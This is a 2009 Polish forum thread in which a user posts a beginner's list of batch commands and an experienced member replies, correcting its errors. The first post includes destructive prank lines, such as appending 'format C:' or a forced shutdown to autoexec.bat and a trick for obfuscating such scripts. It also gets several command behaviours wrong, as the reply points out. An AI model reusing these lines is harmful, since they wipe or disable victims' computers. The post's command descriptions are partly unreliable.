Kurs Batch

Regulamin działu
Kolorowanie składni :
[c][/c], [vb][/vb], [asm][/asm], [delphi][/delphi], [pascal[/pascal], [python][/python], [perl][/perl], [ruby][/ruby], [bash][/bash]

Kurs Batch

Postprzez Dr4g0n 4 paź 2009, o 18:04

Batch-mini kurs od podstaw.
Na poczatek przedstawie zalety:
-Niepotrzeba kompilatora itd
-Mozna pisac nawet w notatniku
-To jest latwiutkie
Wady:
-Male mozliwosci
-To glownie bylo pod Windows95,na nowszych niektore komendy niedzialaja
-Prosty do przeczytania czy tez odszyfrowania kod zrodlowy

Zaczynamy

Skrypt musi posiadac nazwe i rozszerzenie .bat

echo off -dzieki tej komendzie niewidzimy polecen uzytych w programie
echo xDxDxD -wyswietla tekst xDxDxD
echo on -dzieki tej komendzie widzimy wszystkie polecenia uzyte w programie
echo omg>>plik.txt -dopisuje "omg" do pliku plik.txt
echo omg>plik.txt -zapisuje tekst omg do pliku txt

cls -czysci ekran

echo lol>a.txt -wyswietla tekst lol na ekranie oraz zapisuje go do pliku a.txt
echo lol>>a.txt -wyswietlatekst lol na ekranie oraz dopisuje go do pliku a.txt

ver -wyswietla wersje zainstalowanego systemu

vol wolumin: -wyswietla informacje o woluminie danego dysku np: vol c:

date-wyswietla aktualna date i umozliwia wprowadzenie nowej

time-wyswietla obecny czas i pozwala go zmienic

pause -zatrzymuje prace programu do czasu wcisniecia klawisza i wyswietla tekst
na ekranie aby wcisnac przycisk
pause>null -zatrzymuje prace programu i nic niewyswietla

call program -pozwala uruchomic drugi program,nieprzerywajac dzialania programu obecnego

start xxx -uruchamia xxx,xxx moze to byc program lub adres strony internetowej

set x=1 ustaw zmienna x jako 1

md ZAQ -utworz katalog ZAQ

rd ZAQ -usowa katalog ZAQ

cd katalog -przechodzi do podanego katalogu
cd.. -wchodzi o jeden poziom do gory
cd\ -wchodzi do glownego katalogu

del zaq.txt -usowa plik zaq.txt
erase zaq.txt -to samo co del zaq.txt

deltree C://zaq -usowa folder zaq i jego zawartosc

format c: {parametry} - formatuje dysk c
parametry: /q - szybkie /u - bezwarunkowe, calkowite /s - systemowe(przenosi system)

dir {parametry} - wyswietla pliki w biezacym katalogu
dir c:\windows {parametry} - wyswietla pliki we wskazanym katalogu (tutaj windows)
parametry: /p - stopuje ekran po wypelnieniu /v - tryb pelny /o'x' - sortowanie wedlug:
n - nazw(alfabetycznie) s - rozmiaru e - rozszerzenia d - daty i godziny g - po katalogach

copy c:\a\a.txt C:\b - kopiuje plik a.txt z podanej sciezki do katalogu podanego
w drugiej sciezce

copy a.txt+a2.txt b.txt - laczy dwa pliki w jeden

parametry: /v - weryfikuje poprawnosc zapisu plikow /y - powoduje automatyczne
nadpisywannie plikow


ren c:\a\al.txt bl2.txt - zmienia nazwe pliku a.txt na b2.txt


move c:\a\a2.txt C:\b3.txt - przenosi plik a2.txt do katalogu c i zmienia nazwe
na b3.txt

date - wyswietla aktualna date, pozwala wprowadzic nowa

time - wyswietla aktualny czas, pozwala wprowadzic nowy

ver - wyswietla nazwe i wersje aktualnie zainstalowanego systemu operacyjnego

vol c: - wyswietla informacje o woluminie dysku c

LABEL

label c: xD - zmienia etykiete dysku c na xD

shutdown.exe [parametr]
-i -wyswietla graficzny interfejs uzytkownika
-l -wylogowuje
-s -wylacza komputer
-r -uruchamia ponownie komputer
-a -przerywa zamykanie systemu
-t -s xx -zamyka system za xx sekund
-c "komentarz" -komentarz zamkniecia
-f -zamyka wszystkie dzialajace aplikacje
np: shutdown.exe -s -t 30 -zamyknie system za 30s

C:\autoexec.bat -uruchamia sie zawsze przy starcie systemu,kodem:

echo off
echo shutdown.exe -s -t 10 -c pierwszy virus>>C:\autoexec.bat
pause>nul

Spowodujemy iz kod shutdown.exe -s -t 10 dopisze sie do autoexec.bat
i komputer beidze sie zawsze wylaczal 10s po starcie systemu.

format C:>>C:\autoexec.bat -po uruchomieniu ponownie komputera dysk C sie sformatuje

echo B Y D L E -uslyszymy dzwiek

ATTRIB +S C:\a.bat
Zmieniamy w ten sposob atrybuty plikow.
+ oznacza ze atrybut zostanie dodany a -ze usuniety
S-systemowy

SZyfrowanie wirusow jest bardzo proste,przed kazda litera programu i po,dodajemy %x%

np do:

echo off
shutdown.exe -s -t 30
pause

po zaszyfrowaniu bedzie wygladalo:

%x%e%x%c%x%h%x%o%x% %x%o%x%f%x%f%x%
%x%s%x%h%x%u%x%t%x%d%x%o%x%w%x%n%x%.%x%e%x%x%x%e%x% %x%-%x% %x%s%x% %x%-%x%t%x% %x%3%x%0%x%
%x%p%x%a%x%u%x%s%x%e%x%

Tak jak mowilem nie wsyzstko dziala w WIN XP czy VISTA bo to bylo glownie
pod Windows95 a potem blokowano i usowano niektore opcje.
Tak czy siak na pewno komuś sie przyda.
Obrazek

Avatar użytkownika
Dr4g0n
 
Posty: 2
Dołączył(a): 21 sie 2009, o 10:51

Re: Kurs Batch

Postprzez Gynvael Coldwind 14 paź 2009, o 08:40

Hi,

Swojego czasu trochę zajmowałem się trochę BAT'em i konsolą, więc pozwolę sobie skomentować Twój kurs ;>

Hmm, przede wszystkim chciałbym poddać pod wątpliwość moment jego publikacji - jeżeli informacje dotyczą interpretera BAT z Windows 95, to chyba powinieneś opublikować to 14 lat temu, nie?
Niedawno wyszedł Windows 7, więc bardziej na miejscu imo byłby kurs dotyczący cmd.exe z Windows 7.

No i bardziej wygląda to na listę poleceń niż faktycznie kurs BAT, tj. raczej przydały by się opisy pętli, skoków, tworzenia funkcji, operowania na zmiennych czy instrukcji warunkowych.

Po za tym przetestowałeś wszystko to co opisujesz? Kilka rzeczy mi się rzuciło w oczy:

Kod: Zaznacz cały
  1.  
  2. echo omg>>plik.txt -dopisuje "omg" do pliku plik.txt
  3. echo omg>plik.txt -zapisuje tekst omg do pliku txt
  4. [...]
  5. echo lol>a.txt -wyswietla tekst lol na ekranie oraz zapisuje go do pliku a.txt
  6. echo lol>>a.txt -wyswietlatekst lol na ekranie oraz dopisuje go do pliku a.txt
  7.  

Wątpię czy drugi przypadek faktycznie wyświetli 'lol' na konsoli. Czym się różni pierwszy zestaw echo od drugiego? Nie mogę się dopatrzeć różnicy.

Kod: Zaznacz cały
  1.  
  2. pause>null -zatrzymuje prace programu i nic niewyswietla
  3.  

Masz literówkę - pause>nul nic nie wyświetli, natomiast pause>>null utworzy plik o nazwie null z treścią "Press any key to continue . . ." (lub podobną).

Kod: Zaznacz cały
  1.  
  2. call program -pozwala uruchomic drugi program,nieprzerywajac dzialania programu obecnego
  3.  

Nie program a skrypt, który nadal będzie działał w kontekście tego samego interpretera (więc żaden inny program nie zostanie uruchomiony).

Kod: Zaznacz cały
  1.  
  2. deltree C://zaq -usowa folder zaq i jego zawartosc
  3.  

deltree nie ma w interpreterze w linii NT, zamiast tego używa się rd /s

Kod: Zaznacz cały
  1.  
  2. C:\autoexec.bat -uruchamia sie zawsze przy starcie systemu,kodem:
  3.  

Nie w linii NT, czyli nie przez ostatnie ~8 lat.

Kod: Zaznacz cały
  1.  
  2. echo off
  3. echo shutdown.exe -s -t 10 -c pierwszy virus>>C:\autoexec.bat
  4. pause>nul
  5.  

Co jak co, ale wirus to to nie będzie. Da się w BAT stworzyć wirus (tj skrypt infekujący inne skrypty), natomiast to co wkleiłeś na pewno nim nie jest.

Kod: Zaznacz cały
  1.  
  2. echo B Y D L E -uslyszymy dzwiek
  3.  

Nie widzę jak by to miało działać ;>

Kod: Zaznacz cały
  1.  
  2. ATTRIB +S C:\a.bat
  3. Zmieniamy w ten sposob atrybuty plikow.
  4. + oznacza ze atrybut zostanie dodany a -ze usuniety
  5. S-systemowy
  6.  

Bardziej przydatne obecnie jest cacls.

Kod: Zaznacz cały
  1.  
  2. SZyfrowanie wirusow jest bardzo proste,przed kazda litera programu i po,dodajemy %x%
  3.  

Nie wirusów a skryptów. Nie szyfrowanie a obfuskacja. I warunek jest że nie ma zmiennej środowiskowej 'x'.

Podsumowując, nie jestem pewien na ile twój kurs faktycznie jest kursem, a na ile przetworzonym tekstem z polecenia HELP ;>
gynvael.coldwind//vx
Tech Blog: http://gynvael.coldwind.pl
ReverseCraft: http://re.coldwind.pl

Avatar użytkownika
Gynvael Coldwind
 
Posty: 35
Dołączył(a): 15 sie 2009, o 21:42


Powrót do Bash/Batch

Kto przegląda forum

Użytkownicy przeglądający ten dział: Brak zalogowanych użytkowników i 0 gości

cron